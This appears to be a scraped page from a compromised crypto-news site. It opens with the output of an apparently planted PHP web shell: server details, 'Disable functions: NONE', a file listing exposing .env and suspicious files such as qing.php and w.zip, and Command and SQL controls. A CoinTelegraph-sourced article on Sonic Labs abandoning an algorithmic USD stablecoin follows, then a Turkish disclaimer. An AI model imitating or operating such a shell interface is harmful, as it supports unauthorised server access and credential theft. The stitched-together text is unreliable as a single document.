Uname: Linux server208.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User: 5803 (coinhjek)
Group: 5764 (coinhjek)
Disable functions: NONE :)
Safe mode: On[ PHPinfo ]
      ( Reset | Go to )
sFileSizeTanggalOwner/GroupPermissionsActions
[ . ] 02 Apr 2025, 21:15 5803 0750
[ .. ] 02 Apr 2025, 09:02 5803 0711
[ .well-known ] 16 Mar 2025, 17:36 5803 0755 Zip | Hapus
[ app ] 22 Sep 2023, 05:38 5803 0755 Zip | Hapus
[ bootstrap ] 22 Sep 2023, 05:38 5803 0755 Zip | Hapus
[ cgi-bin ] 02 Apr 2025, 10:41 5803 0755 Zip | Hapus
[ config ] 02 Apr 2025, 10:41 5803 0755 Zip | Hapus
[ database ] 22 Sep 2023, 05:38 5803 0755 Zip | Hapus
[ hooks ] 02 Apr 2025, 10:41 5803 0755 Zip | Hapus
[ lifeminer ] 02 Apr 2025, 10:41 5803 0755 Zip | Hapus
[ public ] 02 Apr 2025, 10:38 5803 0755 Zip | Hapus
[ resources ] 22 Sep 2023, 05:38 5803 0755 Zip | Hapus
[ routes ] 02 Apr 2025, 19:42 5803 0755 Zip | Hapus
[ sitemap ] 02 Apr 2025, 21:15 5803 0755 Zip | Hapus
[ stake ] 02 Apr 2025, 10:41 5803 0755 Zip | Hapus
[ storage ] 22 Sep 2023, 05:38 5803 0755 Zip | Hapus
[ tests ] 22 Sep 2023, 05:38 5803 0755 Zip | Hapus
[ vendor ] 22 Sep 2023, 05:38 5803 0755 Zip | Hapus
.env 1.18 Kb 23 Sep 2023, 02:29 5803 0644 Download | Rename | Kosong | Delete
.htaccess 927 b 22 Sep 2023, 05:38 5803 0644 Download | Rename | Kosong | Delete
ads.txt 67 b 29 Mar 2025, 17:17 5803 0644 Download | Rename | Kosong | Delete
artisan 1.70 Kb 22 Sep 2023, 05:38 5803 0644 Download | Rename | Kosong | Delete
composer.json 1.83 Kb 22 Sep 2023, 05:38 5803 0644 Download | Rename | Kosong | Delete
de0dbc94-3698-40.txt 16 b 09 Jan 2025, 13:35 5803 0644 Download | Rename | Kosong | Delete
error_log 78.90 Kb 02 Apr 2025, 10:29 5803 0644 Download | Rename | Kosong | Delete
index.php 596 b 02 Apr 2025, 10:29 5803 0644 Download | Rename | Kosong | Delete
qing.php 28 b 02 Apr 2025, 10:30 5803 0644 Download | Rename | Kosong | Delete
robots.txt 959 b 02 Apr 2025, 10:44 5803 0644 Download | Rename | Kosong | Delete
sitemap.xml 224.79 Kb 02 Apr 2025, 21:15 5803 0644 Download | Rename | Kosong | Delete
w.zip 1.36 Kb 02 Apr 2025, 10:29 5803 0644 Download | Rename | Kosong | Delete

File Baru | Folder Baru
Command
SQL
?> Sonic Labs ditch algorithmic USD stablecoin for UAE dirham alternative
CoinInsight360.com logo CoinInsight360.com logo
America's Social Casino
CoinTelegraph 2025-03-29 11:51:36

Sonic Labs ditch algorithmic USD stablecoin for UAE dirham alternative

Sonic Labs has canceled plans to launch a US dollar-pegged algorithmic stablecoin, opting instead to develop a United Arab Emirates dirham-denominated alternative. On March 22, Sonic Labs co-founder Andre Cronje said the company was working on a US dollar-pegged algorithmic stablecoin with an annual percentage rate (APR) of up to 23%, Cointelegraph reported. However, one week later, the firm reversed course. “We will no longer be releasing a USD based algorithmic stable coin,” Cronje said in a March 28 X post. “Completely unrelated, we will be releasing a mathematically bound numerical Dirham which is settled and denominated in USD, which is definitely not a USD based algorithmic stable coin.” The shift in strategy comes shortly after the UAE announced it would launch its digital dirham central bank digital currency (CBDC) in the fourth quarter of 2025. Source: Andre Cronje Khaled Mohamed Balama, governor of the Central Bank of the UAE, said the blockchain-based dirham could enhance financial stability and help combat financial crime. The digital currency will be accepted alongside its physical counterpart in all payment channels, according to a report from the Khaleej Times. Related: Paolo Ardoino: Competitors and politicians intend to ‘kill Tether’ Sonic faced criticism over stablecoin plans The reversal follows widespread criticism of Sonic’s original plan to launch an algorithmic stablecoin — a model that has raised concerns across the crypto industry since the collapse of the Terra ecosystem in 2022. Cronje himself previously admitted to experiencing Post-traumatic stress disorder (PTSD) related to algorithmic stablecoin due to previous cycles: “Pretty sure our team cracked algo stable coins today, but previous cycle gave me so much PTSD not sure if we should implement.” In May 2022, the $40 billion Terra ecosystem collapsed, erasing tens of billions of dollars of value in a matter of days. Terra’s algorithmic stablecoin, TerraUSD (UST), had been yielding an over 20% annual percentage yield (APY) on Anchor Protocol prior to its collapse. As UST lost its dollar peg, crashing to a low of around $0.30, Terraform Labs co-founder Do Kwon took to X (then Twitter) to share his rescue plan. At the same time, the value of sister token LUNA — once a top 10 crypto project by market capitalization — plunged over 98% to $0.84. LUNA was trading north of $120 in early April 2022. Related: Tether’s US treasury holdings surpass Canada, Taiwan, ranks 7th globally The collapse of the algorithmic stablecoin issuer created shockwaves among both crypto investors and lawmakers. To reduce systemic risk, the European Union’s Markets in Crypto-Assets Regulation (MiCA) bill will prohibit algorithmic stablecoins to avoid another Terra-like failure. Meanwhile, stablecoins are increasingly being used for smaller, everyday payments rather than large transfers, according to CoinFund managing partner David Pakman. “We’ve seen a significant decrease in the size of each stablecoin transaction, which points to the fact that they are being used more as payments and less for large transfers,” Pakman said during Cointelegraph’s Chainreaction live show on X on March 27. Magazine: Ripple says SEC lawsuit ‘over,’ Trump at DAS, and more: Hodler’s Digest, March 16 – 22

Feragatnameyi okuyun : Burada sunulan tüm içerikler web sitemiz, köprülü siteler, ilgili uygulamalar, forumlar, bloglar, sosyal medya hesapları ve diğer platformlar (“Site”), sadece üçüncü taraf kaynaklardan temin edilen genel bilgileriniz içindir. İçeriğimizle ilgili olarak, doğruluk ve güncellenmişlik dahil ancak bunlarla sınırlı olmamak üzere, hiçbir şekilde hiçbir garanti vermemekteyiz. Sağladığımız içeriğin hiçbir kısmı, herhangi bir amaç için özel bir güvene yönelik mali tavsiye, hukuki danışmanlık veya başka herhangi bir tavsiye formunu oluşturmaz. İçeriğimize herhangi bir kullanım veya güven, yalnızca kendi risk ve takdir yetkinizdedir. İçeriğinizi incelemeden önce kendi araştırmanızı yürütmeli, incelemeli, analiz etmeli ve doğrulamalısınız. Ticaret büyük kayıplara yol açabilecek yüksek riskli bir faaliyettir, bu nedenle herhangi bir karar vermeden önce mali danışmanınıza danışın. Sitemizde hiçbir içerik bir teklif veya teklif anlamına gelmez